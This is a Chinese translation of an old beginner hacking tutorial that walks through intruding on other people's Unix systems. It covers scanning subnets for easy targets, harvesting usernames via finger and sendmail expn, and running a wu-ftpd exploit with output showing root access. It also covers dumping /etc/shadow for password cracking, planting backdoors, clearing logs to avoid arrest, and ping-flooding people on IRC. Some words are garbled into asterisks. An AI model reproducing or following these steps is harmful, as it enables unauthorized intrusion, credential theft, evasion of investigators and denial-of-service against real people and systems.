首先說一下寫這篇文章的目的,近來愈來愈多的人問我諸如「我如何可以黑了hotmail」或者aol等等一些其它的愚蠢的問題。這篇文章將確實的向你解釋關於「hack」的一些知識。若是你是個初學者,你應當從頭至尾通讀這篇文章,或者若是你已經進階了,那就別再往下看了,你應該全都瞭解的。我或許將往這篇文章中添加一些內容或者讓他變得更易於理解。我寫這篇文章的最根本的緣由是,讓別人再也不來問我或者其餘人如何去作*愚蠢*的事,是的,問如何去黑(how to hack)是*愚蠢*的,它讓你看起來愚蠢而且學不到任何東西,固然除非你徹底不能自學的話。
起初當我想弄亂別人的電腦時,我只是一箇中學的小孩子。我問別人有關病毒和***的事,而且使用它們,那時我是一個lamer(瘸子,不完整的)。我在學校裏問別人而且最終發現一個對hacking感興趣的人。他向我展現一些技巧,我付給他錢。(snowblue:如今有SQL,無用等一些高手義務的幫助大家,而大家卻很差好的珍惜)他使用UNIX不少年了,他叫我去找一個shell。我不知道那是什麼意思。他說那是對UNIX系統的訪問權限。我仍然有點迷惑,最終我獲得了一個shell。我讀全部我可以找到的,把全部的時間都花在計算機上,我開始對社會和現實世界失去興趣。那時候我天天在計算機上花的時間超過12個小時。我讀任何找到的資料,我讀的第一篇文章是"mostly harmless hacking"(幾乎沒有破壞性的***),我對它很感興趣。起初我只會用一些圖形模式的工具來作一些像改變關機屏幕的簡單的事。作有關hacking的網站,儘管我並不知道hacking到底是什麼。我收集windows下的***和病毒等一些工具,儘管那並非hacking,但那時候我喜歡它們。隨後我開始用郵件×××,flooder,DoS。當我對他們有了瞭解後,(我意識到那並非hacking)我回去繼續尋找shell。當時我所能找到的免費的shell都是很是簡單的。我據說了有關linux的一些事。我問我學校的「***朋友」,他說不要用linux,用真正的UNIX。他搬到了PA,從那之後我再也沒有他的音訊。我試圖找到他並感謝它所教給個人,但沒有成功。我獲得了一個linux。安裝是文本模式的,但它運行很迅速,它比windows要可靠多了,從不死機。但個人56k modem不能工做,我跑到了IRC問有關linux的問題。我發現了個人modem是一種叫winmodem的,win-moden是由軟件控制的,他們一般比硬件modem慢,而且不能再linux下工做。(snowblue:如今大多數的modem在linux下都有驅動,你能夠本身尋找)我在命令行下模式工做,看本身可以幹些什麼。最終我花了100美圓買了一個linux兼容的modem。我讓他工做,這太棒了。從那之後我就使用它,而且仍然能夠在那上面學到更多的東西。個人父母說我「對計算機着魔了」,我試圖解釋我並無。我從沒有對它感到厭煩,我一直可以學到新的東西。那段時間裏,我失去了一些朋友,退出了大學足球隊。全部的一切僅僅是爲了這該死的機器。但願某人能夠發現這篇文章頗有用。
目錄
1. 普通的知識
2. 須要的東西
3. 簡單的***
4. 如何進入
5. 列舉
6. 常見的失誤
7. 緩衝溢出
8. 防火牆
9. 進入以後幹些什麼
10. 如何才能不被抓住
11. 清除紀錄
12. 用途
13. 我對破壞者的見解
否定聲明:
閱讀這篇文章說明你贊成隸屬於r00t-access的任何人都不對你經過看這篇文章所形成的任何後果負責
1. 讀這篇文章的最好方法是一次把它讀完,而後再讀一遍。好吧,如今讓咱們開始。我假設你已經有了一些基本的知識,知道telnet是什麼,一些基本的tcp/ip的知識等等。若是有一些你並不理解,不要猶豫,加入irc.dal.net上的#r00t-access,那是我常去的地方。
須要的東西:
2. 我列出了一些在這篇教程中須要的東西。你能夠在anti-secure.com和packetstorm.securify.com找到它們。用引擎找一下就能夠了。
1. - superscan (for windows)
2. - nmap (for unix)
3. - full shell access (the very best is if you have linux or bsd or solaris or another unix OS)
4. - compiler on the shell
5. - wingates (you can use them as telnet proxys)
容易的目標:
3. 這裏我講一下如何找到一些容易的目標
1. 到altavista.com用日語或其餘語言搜索「遊戲」,理由是這些站點的安全性較低
2. 掃描一個有不少服務的cable或者dsl子網,你能夠用nmap,端口的狀態應當是open而不是close或者filtered,nmap的掃描報告會告訴你的。我將不會告訴你如何使用namp,緣由是man page已經有做夠的信息了。
3. 確保nmap已經被安裝了。使用下面我給出的命令
(注意:$是一個普通的用戶,而#則是超級用戶。做爲例子,我用了24.112.*.*,吧它替換成你想要掃瞄的ip)
$ nmap -p 21,23 24.112.*.*
進入:
4. 爲了可以進入,你應當收集儘量多的有關目標主機的信息。因爲這是你的第一次***,因此確保它有一個笨笨的管理員。而後你可使用exploit。我將在後面詳細解釋
列舉:
5. Ok 咱們找到了目標。如今讓咱們獲得更多的信息。首先來telnet它的79端口。若是它是打開的,你就能夠獲得以登錄用戶的信息。僅僅是telnet而後按下回車。
讓咱們假定端口是打開的而且容許咱們查看在線用戶。看下面的例子:
$ telnet target.domain 79
Trying IPaddress...
Connected to target.domain.
Escape character is '^]'.
Login Name Tty Idle Login Time Office Office Phone
gt grahm crackhead /1 Sep 1 12:01
ok 若是你獲得了一個login,把它記下來,而後找更多的login。或許你須要暴力窮句。你能夠在
[url]www.packetstorm.securify.com[/url]
找到一個windows下的窮具工具。使用大量的單詞來窮舉那個帳號。若是你獲得的消息是"no one is logged on" 或許你須要一個windows下的haktek。一樣,你能夠在
[url]www.packetstorm.securify.com[/url]
找到它。Haketk可以讓你監視finger進程而且紀錄登錄的人。這是頗有用的。另外一種方法,你能夠用sendmail。若是他們有不少的用戶,你能夠嘗試telnet而且找幾個有效的用戶名,還能夠找幾個程序經過暴力法來完成。看下面,我給出了經過sendmail來獲得有效的用戶名的例子—
$ telnet target.domain 25
Trying IPaddress...
Connected to target.domain.
Escape character is '^]'.
220 target.domain ESMTP Sendmail 8.9.3/8.9.3; Fri, 1 Sep 2000 12:11:00 -0400
expn wally
250 Wally Kolcun
vrfy wally
250 Wally Kolcun
expn Billy
550 BIlly... User Unknown
就像你所看到的,我telnet到他們的smtp,敲入expn,而後系統告訴我這是否是一個有效的用戶,最後我給出了一個用戶不存在的例子,當我敲入expn Billy,系統告訴我用戶不存在,而後我知道這不是一個合法的用戶。這一樣能夠幫助你獲得他們的email,而後你就能夠嘗試一下社會工程學。
另外一個蒐集用戶名的方法能夠是利用usenet, altavista,你能夠搜索一下新聞組,或許能夠獲得一些有用的信息。
另外一些能夠利用的進程是 systat netstat等等。
telnet還能夠幫助你判斷出對方的操做系統,當你想exploit時這是很是重要的。當telnet時,有些會給出系統信息,以下所示:
Trying IPaddress...
Connected to target.domain.
Escape character is '^]'.
Red Hat Linux release 6.1 (Cartman)
Kernal 2.2.12-20 on an i586
login:
你能夠看到,系統是redhat 6.1
有些時候你可使用社會工程學,拿Kevin Mitnick舉個例子。它使用社會工程學進入了Novell,一個很大的系統。它所做的只是像一個在那裏工做的人那樣和別人交談。他知道當時那裏的某人正在度假,可是他知道某人的名字。他打電話到了Novell的辦公室找那我的,而後祕書告訴他那我的正在度假,而後他說它須要和那我的聯繫,因而它便從祕書那裏獲得了那我的的信息。
常見的失誤:
6. 人們會時不時的犯一些錯誤。這能夠幫助你進入。某些人並非很好的管理員。一個十分廣泛的失誤是權限設置上的錯誤。有些系統對全部人都開放了write權限。這是一個很大的問題。讓咱們舉個例子。某人把cron.daily的write權限開放給全部人。你就能夠上傳一個後門程序並經過cron進程來執行,從而獲得系統的訪問權。
如今讓我來告訴你最可怕的事。假如某個用戶在系統上使用IRC,而且若是它把dcc文件傳送設置爲自動接收,接受目錄爲他的主目錄。你就能夠傳給他一個.bash_profile,文件寫的好的話,可讓他作一些事。例如添加一個用戶,或者把密碼郵寄給某人。很顯然這是進入系統的最簡單的方法。
緩衝溢出/exploiting:
7. 我不打算對緩衝溢出講得太深,我只想借是那是什麼而後進入下一節。
緩衝溢出—在進程上有一個叫緩衝限制的東西。緩衝限制限制了進入的字節數。某些狀況下,你能夠經過特殊的代碼讓緩衝區溢出來獲得一個root用戶或者普通用戶。有一個例子是wu-ftpd 2.6.0 (1)的緩衝溢出。下面我將告訴你:
$ gcc wuftpd-god.c -o wuftpd-god
$ ./wuftpd-god -h
Usage: ./wuftpd-god -t [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]
[-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]
target : host with any wuftpd
user : anonymous user
dir : if not anonymous user, you need to have writable directory
magic_str : magic string (see exploit description)
-g : enables magic string digging
-x : enables test mode
pass_addr : pointer to setproctitle argument
ret_addr : this is pointer to shellcode
systypes:
0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm
2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm
3 - SuSe 6.4 with wuftpd 2.6.0(1) from rpm
4 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)
5 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports
* 6 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages
7 - FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports
8 - FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages
$ ./wuftpd-god -s0 -t target.domain
Target: target.domain (ftp/): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152
loggin into system..
[32mUSER ftp
[0m331 Guest login ok, send your complete e-mail address as password.
[32mPASS
[0m230-Next time please use your e-mail address as your password
230- for example:
[email]joe@cc456375-b.abdn1.md.home.com[/email]
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
Linux melmac 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
#
若是你想要root的話,exploit是一種方法。查出系統的操做系統,而後到hack.co.za 或者packetstorm 查找那個系統的exploit,你應當獲得一些perl scripts/c scripts/shell scripts。執行它們,你就會成爲root 固然,若是系統打了exploit的補丁,你或許想知道root的口令是什麼。能夠敲下面的命令:
(若是沒有通過shadow,口令被存放於/etc/passwd)
# cat /etc/shadow > /root/passwd
root:34jk3h4jh3.,;8363:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
sympa:x:89:89:Sympa Mailing list manager:/home/sympa:/bin/bash
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:100:103:X Font Server:/etc/X11/fs:/bin/false
fax:x:10:14:Fax Master:/home/fax/:/bin/bash
postfix:x:101:233:postfix:/var/spool/postfix:
gdm:x:42:235::/home/gdm:/bin/bash
grim:9hu.u8:501:501:grim:/home/grim:/bin/bash
banal:x:102:236:BANAL Administrator:/home/banal:/bin/bash
bleeb:36.34/363;86:502:506::/home/bleeb:/bin/bash
上面就是/etc/passwd的內容,可是你須要破解他們,能夠用john the ripper,能夠在packetstorm或其餘地方找到它。我就用它,他很快。(snowbue:支持國產,你能夠用小榕的亂刀,在
[url]www.netxeyes.com[/url]
下載)有時破解一個帳號要用幾年的時間,因此我並不提倡這種作法。
防火牆:
8. 若是你瞭解你所做的,防火牆並不能阻止你。我很喜歡用nmap,這個工具很是好。在
[url]www.insecure.org[/url]
能夠找到最新的版本。我喜歡它的OS(操做系統)檢測,即便目標只運行了不多的服務,它的檢測也很準確。它經過分析目標的tcp指紋並於自身攜帶的數據庫做比較來獲得結果。下面給出一個使用nmap來查出防火牆規則的例子。敲入nmap –sA 。浙江檢測防火牆的規則。我不想太過深刻而是這篇文章變得令人厭煩。若是你像知道更多有關nmap的,只需敲入man nmap就能夠了。
進入之後作什麼:
9. 進入之後作什麼取決於你想如何使用這個系統。若是你想有一個匿名的root shell,那麼就設置一個後門。你能夠在
[url]www.packetstorm.securify.com[/url] 找到後門(***)。我認爲你徹底有能力本身獨立設置一個後門,可是若是你須要幫助的話,加入$r00t-access,或許我能夠幫助你。可是我*不會*幫助你進入一個系統,不過我或許能夠幫助你加固你本身的系統。 如何才能不被抓住: 10. 最主要的事是。別幹*蠢*事。若是你想保住那個shell,不要破壞那個系統,不要刪除他們的文件,不過或許你須要修改他們的紀錄。這就是我想說的。 清除紀錄: 11. 若是你還向待在這兒而不進監獄的話,清除日誌是最重要的工做。在login/hostname中清除紀錄,linux裏是/var/log,還有你目錄下的.bash_profile文件。做這事的最簡單的方法是到blackcode.com 或packetstorm找一個工具。 用途: 12. 我一貫都擁有超過一個root shell。我在那上面運行nmap和saint來隱藏我本身的主機。或許我會在那上面設置一個web proxy/bnc。Saint是一個很好的工具。它能夠告訴你係統有些什麼漏洞。你能夠在遠程很容易的使用它。有時當我看不慣某人的時候,我就flood他們,就像這樣: # ping -f -c 50 -s 4500 IPaddress ......................................................... ........................................................... .........E...........E...EE........E..................E....... ..............E.......E.EEE...................E.E...... Host unreatchable. 有人認爲這是lame的,可是我經過這樣來讓某人在IRC裏閉嘴。 破壞者: 13. 在這篇文章中我沒有談到hacking,實際上我我所涉及的只是cracking,我並不破壞系統,可能永遠都不會。並非我沒有這個能力而是由於這是不對的。再加上若是你被抓住了你或許會由於你的破壞而坐幾年牢。我不喜歡人們把hacking和cracking混爲一談